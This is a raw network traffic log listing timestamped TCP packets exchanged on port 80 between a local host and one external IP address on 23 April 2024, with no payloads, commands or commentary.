Apr 23, 2024 09:38:21.378456116 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.378482103 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.378494978 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.378518105 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.378520012 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.378556967 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.378557920 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.378595114 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.531311989 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.531399965 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.531438112 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.531475067 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.531483889 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.531511068 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.531512022 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.531521082 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.531549931 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.531553030 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.531584024 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.531586885 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.531629086 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.531732082 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.531773090 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.531831980 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.531867981 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.531872988 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.531908035 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.531932116 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.531970024 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.532386065 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.532429934 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.532496929 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.532535076 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.532536030 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.532572985 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.532573938 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.532609940 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.532613039 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.532651901 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.532653093 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.532692909 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.532989025 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.533026934 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.533032894 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.533065081 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.533066034 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.533102036 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.533102989 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.533138990 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.533142090 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.533174992 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.533179045 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.533212900 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.533215046 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.533250093 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.533252001 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.533288956 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.533289909 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.533327103 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.533329010 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.533363104 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.533364058 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.533401012 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.533401966 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.533437014 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.533438921 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.533473969 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.533478022 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.533510923 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.533513069 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.533549070 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.533550978 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.533588886 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.576630116 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.576746941 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.576786995 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.576822996 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.576838970 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.576860905 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.576868057 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.576901913 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.576904058 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.576940060 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.576944113 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.576980114 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.576996088 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.577028990 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.579411030 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.579448938 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.579487085 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.579514027 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.579523087 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.579541922 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.579560995 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.579569101 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.579598904 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.579603910 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.579636097 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.579639912 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.579674006 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.579680920 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.579711914 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.579715967 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.579751015 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.579756021 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.579787970 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.579788923 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.579826117 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.579829931 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.579863071 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.579868078 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.579901934 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.579904079 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.579938889 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.579942942 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.579977036 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.579981089 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.580015898 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.580015898 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.580054998 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.580056906 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.580091953 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.580096006 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.580136061 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.580190897 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.580228090 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.580233097 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.580265999 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.580269098 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.580302954 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.580305099 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.580342054 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.580343962 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.580380917 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.580383062 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.580420017 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.580424070 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.580456972 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.580460072 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.580492973 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.580501080 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.580529928 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.580532074 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.580566883 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.580569983 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.580604076 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.580606937 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.580638885 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.580641031 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.580674887 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.580677986 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.580712080 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.580713987 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.580749035 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.580755949 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.580787897 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.580790043 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.580826044 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.580826998 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.580868959 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.580873966 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.580909014 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.580909967 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.580945015 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.580949068 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.580984116 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.580987930 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.581022978 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.581027031 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.581059933 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.581063986 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.581096888 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.581100941 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.581135988 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.581135988 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.581171989 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.581173897 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.581212997 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.732592106 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.732636929 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.732669115 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.732676029 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.732701063 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.732712984 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.732741117 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.732749939 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.732760906 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.732789993 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.732825041 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.732831001 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.732863903 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.732871056 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.732896090 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.732906103 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.732913017 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.732928038 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.732928991 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.732944965 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.732948065 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.732964993 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.732988119 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.733445883 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.733463049 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.733479023 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.733494043 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.733529091 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.733560085 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.733576059 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.733608007 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.733613968 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.733625889 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.733642101 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.733644009 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.733664989 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.733671904 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.734390974 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.734406948 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.734424114 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.734433889 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.734441996 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.734447002 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.734464884 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.734473944 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.734503984 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.734522104 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.734543085 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.734555960 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.734580994 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.734596968 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.734613895 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.734632015 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.734637976 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.734647989 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.734651089 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.734669924 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.734673023 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.734687090 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.734704971 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.734729052 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.734766960 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.734810114 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.734826088 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.734841108 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.734848022 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.734858990 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.734863997 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.734872103 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.734878063 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.734903097 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.734911919 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.778328896 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.778378010 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.778392076 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.778434038 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.778435946 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.778471947 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.778474092 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.778512001 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.778517008 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.778549910 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.778552055 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.778588057 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.778589010 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.778628111 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.778631926 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.778721094 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.780985117 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.781024933 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.781060934 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.782023907 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.782063007 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.782072067 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.782103062 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.782108068 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.782140970 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.782179117 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.782183886 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.782226086 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.782249928 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.782289982 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.782293081 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.782332897 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.782335043 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.782370090 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.782371998 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.782407045 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.782407045 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.782444954 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.782444954 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.782486916 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.782577991 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.782618046 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.782618046 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.782655001 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.782655954 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.782689095 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.782692909 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.782727003 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.782730103 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.782766104 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.782803059 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.782838106 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.782852888 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.782852888 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.782866955 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.782881975 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.782905102 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.782922983 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.782931089 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.782962084 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.782996893 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.783000946 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.783008099 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.783034086 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.783068895 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.783073902 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.783107996 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.783107996 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.783144951 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.783149004 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.783180952 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.783185005 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.783216953 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.783252954 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.783260107 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.783288956 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.783292055 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.783325911 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.783351898 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.783361912 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.783368111 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.783397913 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.783421993 CEST	49733	80	192.168.2.4	185.172.128.76
